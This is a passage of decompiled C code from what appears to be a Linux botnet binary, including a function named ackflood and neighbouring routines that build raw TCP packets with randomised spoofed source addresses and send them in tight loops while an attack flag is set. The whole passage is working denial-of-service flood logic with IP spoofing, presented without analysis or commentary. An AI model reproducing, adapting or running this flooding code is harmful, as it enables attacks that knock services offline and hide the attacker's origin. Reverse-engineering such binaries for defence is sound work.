  5074.                         _t1611 = _t1040;
  5075.                         _v704 = -2147450879;
  5076.                         _v692 = ((_v704 * _t1611 >> 32) + _t1611 >> 15) - (_t1611 >> 31);
  5077.                         _v692 = _t1611 - (_v692 << 16) - _v692;
  5078.                          *__esp = _v692;
  5079.                         _t1050 = L08075230(__esp);
  5080.                         _t1051 = _v52;
  5081.                          *((intOrPtr*)(_t1051 + 4)) = _t1050;
  5082.                         L0805EBE0();
  5083.                         _t1612 = _t1051;
  5084.                         _v704 = -2147450879;
  5085.                         _v688 = ((_v704 * _t1612 >> 32) + _t1612 >> 15) - (_t1612 >> 31);
  5086.                         _v688 = _t1612 - (_v688 << 16) - _v688;
  5087.                          *__esp = _v688 & 65535 & 65535;
  5088.                         _t1062 = L08075240(__esp);
  5089.                         _t1063 = _v52;
  5090.                          *((short*)(_t1063 + 14)) = _t1062;
  5091.                         L0805EBE0();
  5092.                         _t1613 = _t1063;
  5093.                         _v704 = -2147450879;
  5094.                         _t1671 = _v704 * _t1613 >> 32;
  5095.                         _t1591 = (_t1671 + _t1613 >> 15) - (_t1613 >> 31);
  5096.                         _v684 = (_t1671 + _t1613 >> 15) - (_t1613 >> 31);
  5097.                         _v684 = _t1613 - (_v684 << 16) - _v684;
  5098.                          *_v52 = _v684 & 65535;
  5099.                         _t1074 = _v88 - _v92;
  5100.                         _v32 = _t1074;
  5101.                         if(_v32 <= 0) {
  5102.                             goto L89;
  5103.                         } else {
  5104.                             L0805EBE0();
  5105.                             _v28 = _t1074 % _v32 + _v92;
  5106.                             L0806F850(_t1591, _t1810, __esi,  &_v264, 0, 20);
  5107.                             _v2828 = _v28 & 255;
  5108.                             _v2832 = _v28 >> 8 & 255;
  5109.                             _v2836 = _v28 >> 16 & 255;
  5110.                             L0805FF50( &_v264, "%d.%d.%d.%d", _v28 >> 24);
  5111.                             _t1091 = L08073B40( &_v264);
  5112.                             (_v56[0xc]) = _t1091;
  5113.                             L0806F850(_v28 >> 16 & 255, _t1810, __esi,  &_v648, 0, 128);
  5114.                             L0806F9E0(_t1810, __esi,  &_v648,  &(_v56[0xc]), 4);
  5115.                             L0806F9E0(_t1810, __esi,  &((char*)( &_v648)[2]),  &(_v56[0x10]), 4);
  5116.                             _v640 = 0;
  5117.                             _v639 = (_v56[9]) & 255;
  5118.                             _v638 = _v60 >> 8;
  5119.                             _v637 = _v60;
  5120.                             L0806F9E0(_t1810, __esi,  &((char*)( &_v648)[6]), _v52, 20);
  5121.                             L0806F9E0(_t1810, __esi,  &((char*)( &_v648)[0x10]), _v48, 8);
  5122.                             _t1119 = csum( &_v648, _v60 + 12);
  5123.                              *(_v52 + 16) = _t1119;
  5124.                             __esi =  &_v664;
  5125.                             L0805EBE0();
  5126.                             _v2828 = 16;
  5127.                             _v2832 = __esi;
  5128.                             _v2836 = 0;
  5129.                             _v2840 = ((_v56[2]) & 65535 & 65535) + ((_v56[2]) & 65535) % _v72;
  5130.                             _t1040 = L08052C20(__esi, _v80,  &_v520);
  5131.                             _v36 = _v36 + 1;
  5132.                             continue;
  5133.                         }
  5134.                         goto L89;
  5135.                     }
  5136.                 }
  5137.             }
  5138.         }
  5139.     }
  5140. L89:
  5141.     L08052A50(_v80);
  5142.     _t967 = L08051050();
  5143.     L08051000(_t967);
  5144.      *__esp = 0;
  5145.     L08050FE0();
  5146.     goto L90;
  5147. L90:
  5148.     _push(_t1820);
  5149.     __esp = __esp - 16;
  5150.     _v2864 = _v2840;
  5151.     _v2860 = _v2844;
  5152.     _v2856 = 0;
  5153.     _v2866 = 0;
  5154.     while(_v32 > 1) {
  5155.         _v24 = _v24 + ( *_v28 & 65535 & 65535);
  5156.         _v28 = _v28 + 2;
  5157.         _v32 = _v32 - 2;
  5158.     }
  5159. }
  5160.  
  5161. int ackflood(_Unknown_base* ThreadData)
  5162. {// addr = 0x0804AF06
  5163.     SYNPACKET SynObj;
  5164.     short int tcp_flags;
  5165.     char[19] szNewIP;
  5166.     char[255] szPackData;
  5167.     char[127] pheader;
  5168.     struct sockaddr_in servaddr;
  5169.     int hSockft;
  5170.     struct hostent* szhost;
  5171.     int nTime;
  5172.     int tcphdr_size;
  5173.     struct ip* iph;
  5174.     struct tcphdr* tcph;
  5175.     struct tcp_options* tcpopt;
  5176.     int one;
  5177.     const int* val;
  5178.     int looptime;
  5179.     int aa;
  5180.     int ShamBase;
  5181.     int dwNewIP;
  5182.     signed int _v12;
  5183.     signed int _v16;
  5184.     signed int _v20;
  5185.     signed int _v24;
  5186.     signed int _v28;
  5187.     _unknown_ _v30;
  5188.     signed int _v32;
  5189.     signed int _v36;
  5190.     char* _v40;
  5191.     unsigned int _v44;
  5192.     signed int _v48;
  5193.     signed char* _v52;
  5194.     unsigned int _v56;
  5195.     signed int _v58;
  5196.     unsigned int _v60;
  5197.     intOrPtr _v64;
  5198.     signed int _v68;
  5199.     signed short _v70;
  5200.     signed int _v72;
  5201.     signed int _v76;
  5202.     signed short _v78;
  5203.     intOrPtr _v80;
  5204.     signed int _v84;
  5205.     intOrPtr _v88;
  5206.     signed int _v92;
  5207.     signed int _v204;
  5208.     unsigned int _v216;
  5209.     unsigned int _v224;
  5210.     char _v228;
  5211.     char _v236;
  5212.     char _v240;
  5213.     char _v248;
  5214.     char _v260;
  5215.     char _v492;
  5216.     char _v504;
  5217.     char _v516;
  5218.     unsigned int _v609;
  5219.     unsigned short _v610;
  5220.     signed int _v611;
  5221.     signed int _v612;
  5222.     short unsigned int _v620;
  5223.     unsigned int _v621;
  5224.     unsigned short _v622;
  5225.     signed int _v623;
  5226.     signed int _v624;
  5227.     short unsigned int _v632;
  5228.     unsigned int _v633;
  5229.     unsigned short _v634;
  5230.     signed int _v635;
  5231.     signed int _v636;
  5232.     char _v640;
  5233.     short unsigned int _v644;
  5234.     char _v648;
  5235.     char _v652;
  5236.     signed int _v656;
  5237.     char _v660;
  5238.     char _v664;
  5239.     signed short _v668;
  5240.     signed short _v672;
  5241.     signed int _v676;
  5242.     signed short _v680;
  5243.     signed short _v684;
  5244.     signed int _v688;
  5245.     signed int _v692;
  5246.     signed int _v696;
  5247.     signed int _v700;
  5248.     intOrPtr _v760;
  5249.     signed int _v764;
  5250.     signed int _v766;
  5251.     char _v924;
  5252.     signed int _v1344;
  5253.     signed int _v1396;
  5254.     signed int _v1400;
  5255.     signed int _v1404;
  5256.     signed char _v1408;
  5257.     signed int _v1412;
  5258.     intOrPtr _v1480;
  5259.     signed int _v1484;
  5260.     signed int _v1486;
  5261.     intOrPtr _v1636;
  5262.     char _v1648;
  5263.     signed int _v2068;
  5264.     signed int _v2112;
  5265.     signed int _v2116;
  5266.     signed int _v2120;
  5267.     signed char _v2124;
  5268.     signed int _v2128;
  5269.     signed int _v2140;
  5270.     signed int _v2144;
  5271.     signed char _v2148;
  5272.     signed int _v2150;
  5273.     _unknown_ r6;
  5274.     _unknown_ _t694;
  5275.     unsigned int _t695;
  5276.     signed char* _t697;
  5277.     _unknown_ _t699;
  5278.     _unknown_ _t700;
  5279.     _unknown_ _t701;
  5280.     _unknown_ _t702;
  5281.     _unknown_ _t706;
  5282.     signed int _t707;
  5283.     intOrPtr _t709;
  5284.     _unknown_ _t711;
  5285.     _unknown_ _t712;
  5286.     _unknown_ _t713;
  5287.     _unknown_ _t714;
  5288.     _unknown_ _t718;
  5289.     signed int _t719;
  5290.     intOrPtr _t724;
  5291.     _unknown_ _t726;
  5292.     _unknown_ _t727;
  5293.     _unknown_ _t728;
  5294.     _unknown_ _t729;
  5295.     _unknown_ _t750;
  5296.     signed char _t769;
  5297.     short _t778;
  5298.     intOrPtr _t780;
  5299.     intOrPtr _t782;
  5300.     short _t791;
  5301.     signed int _t799;
  5302.     signed int _t800;
  5303.     _unknown_ _t802;
  5304.     intOrPtr _t810;
  5305.     signed int _t811;
  5306.     _unknown_ _t813;
  5307.     short _t822;
  5308.     signed int _t823;
  5309.     _unknown_ _t825;
  5310.     signed int _t834;
  5311.     _unknown_ _t836;
  5312.     _unknown_ _t841;
  5313.     signed char _t851;
  5314.     _unknown_ _t854;
  5315.     _unknown_ _t858;
  5316.     _unknown_ _t863;
  5317.     _unknown_ _t872;
  5318.     _unknown_ _t876;
  5319.     short unsigned int _t879;
  5320.     _unknown_ _t884;
  5321.     _unknown_ _t899;
  5322.     signed char _t918;
  5323.     short _t927;
  5324.     intOrPtr _t929;
  5325.     intOrPtr _t931;
  5326.     short _t940;
  5327.     signed int _t948;
  5328.     signed int _t949;
  5329.     _unknown_ _t951;
  5330.     intOrPtr _t959;
  5331.     signed int _t960;
  5332.     _unknown_ _t962;
  5333.     short _t971;
  5334.     signed int _t972;
  5335.     _unknown_ _t974;
  5336.     signed int _t983;
  5337.     _unknown_ _t985;
  5338.     _unknown_ _t990;
  5339.     signed char _t1000;
  5340.     _unknown_ _t1003;
  5341.     _unknown_ _t1007;
  5342.     _unknown_ _t1012;
  5343.     _unknown_ _t1021;
  5344.     _unknown_ _t1025;
  5345.     short unsigned int _t1028;
  5346.     signed int _t1031;
  5347.     _unknown_ _t1033;
  5348.     signed int _t1036;
  5349.     _unknown_ _t1052;
  5350.     char _t1071;
  5351.     short _t1080;
  5352.     intOrPtr _t1082;
  5353.     intOrPtr _t1084;
  5354.     short _t1093;
  5355.     signed int _t1101;
  5356.     signed int _t1102;
  5357.     _unknown_ _t1104;
  5358.     intOrPtr _t1112;
  5359.     signed int _t1113;
  5360.     _unknown_ _t1115;
  5361.     short _t1124;
  5362.     signed int _t1125;
  5363.     _unknown_ _t1127;
  5364.     signed int _t1136;
  5365.     _unknown_ _t1138;
  5366.     _unknown_ _t1143;
  5367.     char _t1153;
  5368.     _unknown_ _t1156;
  5369.     _unknown_ _t1160;
  5370.     _unknown_ _t1165;
  5371.     _unknown_ _t1174;
  5372.     _unknown_ _t1178;
  5373.     short unsigned int _t1181;
  5374.     signed int _t1196;
  5375.     signed int _t1216;
  5376.     signed int _t1217;
  5377.     signed int _t1218;
  5378.     signed int _t1224;
  5379.     signed int _t1225;
  5380.     signed int _t1226;
  5381.     signed int _t1230;
  5382.     signed int _t1234;
  5383.     signed int _t1235;
  5384.     signed int _t1236;
  5385.     signed int _t1268;
  5386.     _unknown_ _t1276;
  5387.     _unknown_ _t1284;
  5388.     _unknown_ _t1312;
  5389.     signed int _t1319;
  5390.     _unknown_ _t1356;
  5391.     _unknown_ _t1372;
  5392.     signed int* _t1373;
  5393.     signed int* _t1374;
  5394.     _unknown_ _t1375;
  5395.  
  5396.     _push(_t1196);
  5397.     __esp = __esp - 692;
  5398.     L0806F910( &_v216, 156);
  5399.     L0806F9E0(_t1365, __esi,  &_v216, ThreadData, 156);
  5400.     _v58 = 16;
  5401.     _v696 = 16;
  5402.     _t695 =  &_v636;
  5403.      *__esp = _t695;
  5404.     L0806F910();
  5405.     _v692 = 6;
  5406.     L08073680(_t1196, __esp, 2, 3);
  5407.     _v56 = _t695;
  5408.     _v636 = 2;
  5409.     _t697 =  &((char*)( &_v216)[4]);
  5410.     L08075250(_t697);
  5411.     _v52 = _t697;
  5412.     if(_v52 != 0) {
  5413.         _t1052 = L0806E4D0( &((char*)( &_v216)[4]), "0.0.0.0");
  5414.         if(_t1052 == 0) {
  5415.         } else {
  5416.             _v48 = 0;
  5417.             _v48 = _v204;
  5418.             if(_v48 <= 0 || _v48 > 86400) {
  5419.                 _v48 = 20;
  5420.             }
  5421.             _v632 =  *( *(_v52[0x10]));
  5422.             _v44 = 20;
  5423.             _v40 =  &_v492;
  5424.             _v36 =  &_v492 + 20;
  5425.             _v32 =  &_v492 + 40;
  5426.              *_v40 =  *_v40 & 255 & 240 | 5;
  5427.              *_v40 =  *_v40 & 255 & 15 | 64;
  5428.             (_v40[1]) = 0;
  5429.             (_v40[2]) = 60;
  5430.              *__esp = 31337;
  5431.             _t1071 = L08075240(__esp);
  5432.             (_v40[4]) = _t1071;
  5433.             (_v40[6]) = 0;
  5434.             (_v40[8]) = 250;
  5435.             (_v40[9]) = 6;
  5436.             (_v40[0xa]) = 0;
  5437.             (_v40[0x10]) = _v632;
  5438.              *__esp = _v72 & 65535;
  5439.             _t1080 = L08075240(__esp);
  5440.              *((short*)(_v36 + 2)) = _t1080;
  5441.              *__esp = 31337;
  5442.             _t1082 = L08075230(__esp);
  5443.              *((intOrPtr*)(_v36 + 4)) = _t1082;
  5444.              *__esp = 0;
  5445.             _t1084 = L08075230(__esp);
  5446.              *((intOrPtr*)(_v36 + 8)) = _t1084;
  5447.              *(_v36 + 12) =  *(_v36 + 12) & 255 & 240;
  5448.              *(_v36 + 12) =  *(_v36 + 12) & 255 & 15 | 160;
  5449.              *(_v36 + 13) = _v58 & 65535;
  5450.              *__esp = 57344;
  5451.             _t1093 = L08075240(__esp);
  5452.              *((short*)(_v36 + 14)) = _t1093;
  5453.              *(_v36 + 16) = 0;
  5454.              *(_v36 + 18) = 0;
  5455.             if((_v44 & 3) != 0) {
  5456.                 _v44 = (_v44 + (_v44 >> 31 >> 30) & 3) - (_v44 >> 31 >> 30) + 1 << 2;
  5457.             }
  5458.             _v44 = 40;
  5459.             _v640 = 1;
  5460.             _v28 =  &_v640;
  5461.             _v684 = 4;
  5462.             _v688 = _v28;
  5463.             _v692 = 3;
  5464.             _v696 = 0;
  5465.             _t1101 = _v56;
  5466.              *__esp = _t1101;
  5467.             L08073640(_t1196, __esp);
  5468.             if(_t1101 >= 0) {
  5469.             } else {
  5470.                 _v24 = 0;
  5471.                 while(1) {
  5472.                     _t1102 = IsAttack;
  5473.                     if(_t1102 == 0) {
  5474.                         break;
  5475.                     }
  5476.                     _v20 = 0;
  5477.                     while(_v20 <= 999) {
  5478.                         L0805EBE0();
  5479.                         _t1234 = _t1102;
  5480.                         _v668 = -2147450879;
  5481.                         _v660 = ((_v668 * _t1234 >> 32) + _t1234 >> 15) - (_t1234 >> 31);
  5482.                         _v660 = _t1234 - (_v660 << 16) - _v660;
  5483.                          *__esp = _v660;
  5484.                         _t1112 = L08075230(__esp);
  5485.                         _t1113 = _v36;
  5486.                          *((intOrPtr*)(_t1113 + 4)) = _t1112;
  5487.                         L0805EBE0();
  5488.                         _t1235 = _t1113;
  5489.                         _v668 = -2147450879;
  5490.                         _v656 = ((_v668 * _t1235 >> 32) + _t1235 >> 15) - (_t1235 >> 31);
  5491.                         _v656 = _t1235 - (_v656 << 16) - _v656;
  5492.                          *__esp = _v656 & 65535 & 65535;
  5493.                         _t1124 = L08075240(__esp);
  5494.                         _t1125 = _v36;
  5495.                          *((short*)(_t1125 + 14)) = _t1124;
  5496.                         L0805EBE0();
  5497.                         _t1236 = _t1125;
  5498.                         _v668 = -2147450879;
  5499.                         _t1196 = ((_v668 * _t1236 >> 32) + _t1236 >> 15) - (_t1236 >> 31);
  5500.                         _v652 = _t1196;
  5501.                         _v652 = _t1236 - (_v652 << 16) - _v652;
  5502.                          *_v36 = _v652 & 65535;
  5503.                         _t1136 = _v64 - _v68;
  5504.                         _v16 = _t1136;
  5505.                         if(_v16 <= 0) {
  5506.                             goto L20;
  5507.                         } else {
  5508.                             L0805EBE0();
  5509.                             _v12 = _t1136 % _v16 + _v68;
  5510.                             L0806F850(_t1196, _t1365, __esi,  &_v236, 0, 20);
  5511.                             _t1196 = _v12 >> 16 & 255;
  5512.                             _v680 = _v12 & 255;
  5513.                             _v684 = _v12 >> 8 & 255;
  5514.                             _v688 = _t1196;
  5515.                             L0805FF50( &_v236, "%d.%d.%d.%d", _v12 >> 24);
  5516.                             _t1153 = L08073B40( &_v236);
  5517.                             (_v40[0xc]) = _t1153;
  5518.                             L0806F850(_t1196, _t1365, __esi,  &_v620, 0, 128);
  5519.                             L0806F9E0(_t1365, __esi,  &_v620,  &(_v40[0xc]), 4);
  5520.                             L0806F9E0(_t1365, __esi,  &((char*)( &_v620)[2]),  &(_v40[0x10]), 4);
  5521.                             _v612 = 0;
  5522.                             _v611 = (_v40[9]) & 255;
  5523.                             _v610 = _v44 >> 8;
  5524.                             _v609 = _v44;
  5525.                             L0806F9E0(_t1365, __esi,  &((char*)( &_v620)[6]), _v36, 20);
  5526.                             L0806F9E0(_t1365, __esi,  &((char*)( &_v620)[0x10]), _v32, 8);
  5527.                             _t1181 = csum( &_v620, _v44 + 12);
  5528.                              *(_v36 + 16) = _t1181;
  5529.                             _v680 = 16;
  5530.                             _v684 =  &_v636;
  5531.                             _v688 = 0;
  5532.                             _v692 = (_v40[2]) & 65535 & 65535;
  5533.                             _t1102 = L08052C20(__esi, _v56,  &_v492);
  5534.                             _v20 = _v20 + 1;
  5535.                             continue;
  5536.                         }
  5537.                         goto L20;
  5538.                     }
  5539.                 }
  5540.             }
  5541.         }
  5542.     }
  5543. L20:
  5544.     L08052A50(_v56);
  5545.     _t700 = L08051050();
  5546.     L08051000(_t700);
  5547.      *__esp = 0;
  5548.     L08050FE0();
  5549.     goto L21;
  5550. L21:
  5551.     _push(_t1372);
  5552.     _t1373 = __esp;
  5553.     _push(_t1365);
  5554.     _push(__esi);
  5555.     _push(_t1196);
  5556.     __esp = __esp - 700;
  5557.     L0806F910( &_v924, 156);
  5558.     L0806F9E0(_t1365, __esi,  &_v924, _v696, 156);
  5559.     _v766 = 16;
  5560.     _v1412 = 16;
  5561.     _t707 =  &_v1344;
  5562.      *__esp = _t707;
  5563.     L0806F910();
  5564.     _v1408 = 6;
  5565.     L08073680(_t1196, __esp, 2, 3);
  5566.     _v764 = _t707;
  5567.     _v1344 = 2;
  5568.     _t709 =  &_v924 + 16;
  5569.     L08075250(_t709);
  5570.     _v760 = _t709;
  5571.     if(_v760 != 0) {
  5572.         _t899 = L0806E4D0( &_v228 + 16, "0.0.0.0");
  5573.         if(_t899 == 0) {
  5574.         } else {
  5575.             _v60 = 0;
  5576.             _v60 = _v216;
  5577.             if(_v60 <= 0 || _v60 > 86400) {
  5578.                 _v60 = 20;
  5579.             }
  5580.             _v644 =  *( *( *(_v64 + 16)));
  5581.             _v56 = 20;
  5582.             _v52 =  &_v504;
  5583.             _v48 =  &_v504 + 20;
  5584.             _v44 =  &_v504 + 40;
  5585.              *_v52 =  *_v52 & 255 & 240 | 5;
  5586.              *_v52 =  *_v52 & 255 & 15 | 64;
  5587.             (_v52[1]) = 0;
  5588.             (_v52[2]) = 60;
  5589.              *__esp = 31337;
  5590.             _t918 = L08075240(__esp);
  5591.             (_v52[4]) = _t918;
  5592.             (_v52[6]) = 0;
  5593.             (_v52[8]) = 250;
  5594.             (_v52[9]) = 6;
  5595.             (_v52[0xa]) = 0;
  5596.             (_v52[0x10]) = _v644;
  5597.              *__esp = _v84 & 65535;
  5598.             _t927 = L08075240(__esp);
  5599.              *((short*)(_v48 + 2)) = _t927;
  5600.              *__esp = 31337;
  5601.             _t929 = L08075230(__esp);
  5602.              *((intOrPtr*)(_v48 + 4)) = _t929;
  5603.              *__esp = 0;
  5604.             _t931 = L08075230(__esp);
  5605.              *((intOrPtr*)(_v48 + 8)) = _t931;
  5606.              *(_v48 + 12) =  *(_v48 + 12) & 255 & 240;
  5607.              *(_v48 + 12) =  *(_v48 + 12) & 255 & 15 | 160;
  5608.              *(_v48 + 13) = _v70 & 65535;
  5609.              *__esp = 57344;
  5610.             _t940 = L08075240(__esp);
  5611.              *((short*)(_v48 + 14)) = _t940;
  5612.              *((short*)(_v48 + 16)) = 0;
  5613.              *(_v48 + 18) = 0;
  5614.             if((_v56 & 3) != 0) {
  5615.                 _v56 = (_v56 + (_v56 >> 31 >> 30) & 3) - (_v56 >> 31 >> 30) + 1 << 2;
  5616.             }
  5617.             _v56 = 40;
  5618.             _v652 = 1;
  5619.             _v40 =  &_v652;
  5620.             _v1400 = 4;
  5621.             _v1404 = _v40;
  5622.             _v1408 = 3;
  5623.             _v1412 = 0;
  5624.             _t948 = _v68;
  5625.              *__esp = _t948;
  5626.             L08073640(_t1196, __esp);
  5627.             if(_t948 >= 0) {
  5628.             } else {
  5629.                 _v36 = 0;
  5630.                 while(1) {
  5631.                     _t949 = IsAttack;
  5632.                     if(_t949 == 0) {
  5633.                         break;
  5634.                     }
  5635.                     _v32 = 0;
  5636.                     while(_v32 <= 999) {
  5637.                         L0805EBE0();
  5638.                         _t1224 = _t949;
  5639.                         _v684 = -2147450879;
  5640.                         _v676 = ((_v684 * _t1224 >> 32) + _t1224 >> 15) - (_t1224 >> 31);
  5641.                         _v676 = _t1224 - (_v676 << 16) - _v676;
  5642.                          *__esp = _v676;
  5643.                         _t959 = L08075230(__esp);
  5644.                         _t960 = _v48;
  5645.                          *((intOrPtr*)(_t960 + 4)) = _t959;
  5646.                         L0805EBE0();
  5647.                         _t1225 = _t960;
  5648.                         _v684 = -2147450879;
  5649.                         _v672 = ((_v684 * _t1225 >> 32) + _t1225 >> 15) - (_t1225 >> 31);
  5650.                         _v672 = _t1225 - (_v672 << 16) - _v672;
  5651.                          *__esp = _v672 & 65535 & 65535;
  5652.                         _t971 = L08075240(__esp);
  5653.                         _t972 = _v48;
  5654.                          *((short*)(_t972 + 14)) = _t971;
  5655.                         L0805EBE0();
  5656.                         _t1226 = _t972;
  5657.                         _v684 = -2147450879;
  5658.                         _t1196 = ((_v684 * _t1226 >> 32) + _t1226 >> 15) - (_t1226 >> 31);
  5659.                         _v668 = _t1196;
  5660.                         _t1365 = _t1226 - (_v668 << 16) - _v668;
  5661.                         _v668 = _t1226 - (_v668 << 16) - _v668;
  5662.                          *_v48 = _v668 & 65535;
  5663.                         _t983 = _v76 - _v80;
  5664.                         _v28 = _t983;
  5665.                         if(_v28 <= 0) {
  5666.                             goto L41;
  5667.                         } else {
  5668.                             L0805EBE0();
  5669.                             _v24 = _t983 % _v28 + _v80;
  5670.                             L0806F850(_t1196, _t1365, __esi,  &_v248, 0, 20);
  5671.                             _v1396 = _v24 & 255;
  5672.                             _v1400 = _v24 >> 8 & 255;
  5673.                             _v1404 = _v24 >> 16 & 255;
  5674.                             L0805FF50( &_v248, "%d.%d.%d.%d", _v24 >> 24);
  5675.                             _t1000 = L08073B40( &_v248);
  5676.                             (_v52[0xc]) = _t1000;
  5677.                             L0806F850(_v24 >> 16 & 255, _t1365, __esi,  &_v632, 0, 128);
  5678.                             L0806F9E0(_t1365, __esi,  &_v632,  &(_v52[0xc]), 4);
  5679.                             L0806F9E0(_t1365, __esi,  &((char*)( &_v632)[2]),  &(_v52[0x10]), 4);
  5680.                             _v624 = 0;
  5681.                             _v623 = (_v52[9]) & 255;
  5682.                             _v622 = _v56 >> 8;
  5683.                             _v621 = _v56;
  5684.                             L0806F9E0(_t1365, __esi,  &((char*)( &_v632)[6]), _v48, 20);
  5685.                             L0806F9E0(_t1365, __esi,  &((char*)( &_v632)[0x10]), _v44, 8);
  5686.                             _t1028 = csum( &_v632, _v56 + 12);
  5687.                              *((short*)(_v48 + 16)) = _t1028;
  5688.                             _t1196 =  &_v648;
  5689.                             _t1031 = (_v52[2]) & 65535;
  5690.                             __esi = _t1031 & 65535;
  5691.                             L0805EBE0();
  5692.                             _t1230 = _t1031;
  5693.                             _v684 = -1600085855;
  5694.                             _t1319 = _v684 * _t1230 >> 32;
  5695.                             _t1036 = _t1230 >> 31;
  5696.                             _t1365 = (_t1319 + _t1230 >> 7) - _t1036;
  5697.                             _v664 = (_t1319 + _t1230 >> 7) - _t1036;
  5698.                             _v664 = _t1230 - _t1036 * _v664;
  5699.                             _v1396 = 16;
  5700.                             _v1400 = _t1196;
  5701.                             _v1404 = 0;
  5702.                             _v1408 = __esi + _v664 + 800;
  5703.                             _t949 = L08052C20(__esi, _v68,  &_v504);
  5704.                             _v32 = _v32 + 1;
  5705.                             continue;
  5706.                         }
  5707.                         goto L41;
  5708.                     }
  5709.                 }
  5710.             }
  5711.         }
  5712.     }
  5713. L41:
  5714.     L08052A50(_v68);
  5715.     _t712 = L08051050();
  5716.     L08051000(_t712);
  5717.      *__esp = 0;
  5718.     L08050FE0();
  5719.     goto L42;
  5720. L42:
  5721.     _push(_t1373);
  5722.     _t1374 = __esp;
  5723.     _push(__esi);
  5724.     _push(_t1196);
  5725.     __esp = __esp - 704;
  5726.     L0806F910( &_v1648, 160);
  5727.     L0806F9E0(_t1365, __esi,  &_v1648, _v1412, 160);
  5728.     _v1486 = 16;
  5729.     _v2128 = 16;
  5730.     _t719 =  &_v2068;
  5731.      *__esp = _t719;
  5732.     L0806F910();
  5733.     _v2124 = 6;
  5734.     L08073680(_t1196, __esp, 2, 3);
  5735.     _v1484 = _t719;
  5736.     _v2068 = 2;
  5737.     _v1480 = _v1636;
  5738.     if(_v1480 <= 60 || _v72 > 800) {
  5739.         _v72 = 61;
  5740.     }
  5741.     _v68 = _v72 - 60;
  5742.     _t724 =  &_v240 + 20;
  5743.     L08075250(_t724);
  5744.     _v64 = _t724;
  5745.     if(_v64 != 0) {
  5746.         _t750 = L0806E4D0( &_v240 + 20, "0.0.0.0");
  5747.         if(_t750 == 0) {
  5748.         } else {
  5749.             _v60 = 0;
  5750.             _v60 = _v224;
  5751.             if(_v60 <= 0 || _v60 > 86400) {
  5752.                 _v60 = 20;
  5753.             }
  5754.             _v656 =  *( *( *(_v64 + 16)));
  5755.             _v56 = 20;
  5756.             _v52 =  &_v516;
  5757.             _v48 =  &_v516 + 20;
  5758.             _v44 =  &_v516 + 40;
  5759.              *_v52 =  *_v52 & 255 & 240 | 5;
  5760.              *_v52 =  *_v52 & 255 & 15 | 64;
  5761.             (_v52[1]) = 0;
  5762.             (_v52[2]) = 60;
  5763.              *__esp = 31337;
  5764.             _t769 = L08075240(__esp);
  5765.             (_v52[4]) = _t769;
  5766.             (_v52[6]) = 0;
  5767.             (_v52[8]) = 250;
  5768.             (_v52[9]) = 6;
  5769.             (_v52[0xa]) = 0;
  5770.             (_v52[0x10]) = _v656;
  5771.              *__esp = _v92 & 65535;
  5772.             _t778 = L08075240(__esp);
  5773.              *((short*)(_v48 + 2)) = _t778;
  5774.              *__esp = 31337;
  5775.             _t780 = L08075230(__esp);
  5776.              *((intOrPtr*)(_v48 + 4)) = _t780;
  5777.              *__esp = 0;
  5778.             _t782 = L08075230(__esp);
  5779.              *((intOrPtr*)(_v48 + 8)) = _t782;
  5780.              *(_v48 + 12) =  *(_v48 + 12) & 255 & 240;
  5781.              *(_v48 + 12) =  *(_v48 + 12) & 255 & 15 | 160;
  5782.              *(_v48 + 13) = _v78 & 65535;
  5783.              *__esp = 57344;
  5784.             _t791 = L08075240(__esp);
  5785.              *((short*)(_v48 + 14)) = _t791;
  5786.              *((short*)(_v48 + 16)) = 0;
  5787.              *(_v48 + 18) = 0;
  5788.             if((_v56 & 3) != 0) {
  5789.                 _v56 = (_v56 + (_v56 >> 31 >> 30) & 3) - (_v56 >> 31 >> 30) + 1 << 2;
  5790.             }
  5791.             _v56 = 40;
  5792.             _v664 = 1;
  5793.             _v40 =  &_v664;
  5794.             _v2116 = 4;
  5795.             _v2120 = _v40;
  5796.             _v2124 = 3;
  5797.             _v2128 = 0;
  5798.             _t799 = _v76;
  5799.              *__esp = _t799;
  5800.             L08073640(_t1196, __esp);
  5801.             if(_t799 >= 0) {
  5802.             } else {
  5803.                 _v36 = 0;
  5804.                 while(1) {
  5805.                     _t800 = IsAttack;
  5806.                     if(_t800 == 0) {
  5807.                         break;
  5808.                     }
  5809.                     _v32 = 0;
  5810.                     while(_v32 <= 999) {
  5811.                         L0805EBE0();
  5812.                         _t1216 = _t800;
  5813.                         _v700 = -2147450879;
  5814.                         _v688 = ((_v700 * _t1216 >> 32) + _t1216 >> 15) - (_t1216 >> 31);
  5815.                         _v688 = _t1216 - (_v688 << 16) - _v688;
  5816.                          *__esp = _v688;
  5817.                         _t810 = L08075230(__esp);
  5818.                         _t811 = _v48;
  5819.                          *((intOrPtr*)(_t811 + 4)) = _t810;
  5820.                         L0805EBE0();
  5821.                         _t1217 = _t811;
  5822.                         _v700 = -2147450879;
  5823.                         _v684 = ((_v700 * _t1217 >> 32) + _t1217 >> 15) - (_t1217 >> 31);
  5824.                         _v684 = _t1217 - (_v684 << 16) - _v684;
  5825.                          *__esp = _v684 & 65535 & 65535;
  5826.                         _t822 = L08075240(__esp);
  5827.                         _t823 = _v48;
  5828.                          *((short*)(_t823 + 14)) = _t822;
  5829.                         L0805EBE0();
  5830.                         _t1218 = _t823;
  5831.                         _v700 = -2147450879;
  5832.                         _t1268 = _v700 * _t1218 >> 32;
  5833.                         _t1202 = (_t1268 + _t1218 >> 15) - (_t1218 >> 31);
  5834.                         _v680 = (_t1268 + _t1218 >> 15) - (_t1218 >> 31);
  5835.                         _v680 = _t1218 - (_v680 << 16) - _v680;
  5836.                          *_v48 = _v680 & 65535;
  5837.                         _t834 = _v84 - _v88;
  5838.                         _v28 = _t834;
  5839.                         if(_v28 <= 0) {
  5840.                             goto L65;
  5841.                         } else {
  5842.                             L0805EBE0();
  5843.                             _v24 = _t834 % _v28 + _v88;
  5844.                             L0806F850(_t1202, _t1365, __esi,  &_v260, 0, 20);
  5845.                             _v2112 = _v24 & 255;
  5846.                             _v2116 = _v24 >> 8 & 255;
  5847.                             _v2120 = _v24 >> 16 & 255;
  5848.                             L0805FF50( &_v260, "%d.%d.%d.%d", _v24 >> 24);
  5849.                             _t851 = L08073B40( &_v260);
  5850.                             (_v52[0xc]) = _t851;
  5851.                             L0806F850(_v24 >> 16 & 255, _t1365, __esi,  &_v644, 0, 128);
  5852.                             L0806F9E0(_t1365, __esi,  &_v644,  &(_v52[0xc]), 4);
  5853.                             L0806F9E0(_t1365, __esi,  &((char*)( &_v644)[2]),  &(_v52[0x10]), 4);
  5854.                             _v636 = 0;
  5855.                             _v635 = (_v52[9]) & 255;
  5856.                             _v634 = _v56 >> 8;
  5857.                             _v633 = _v56;
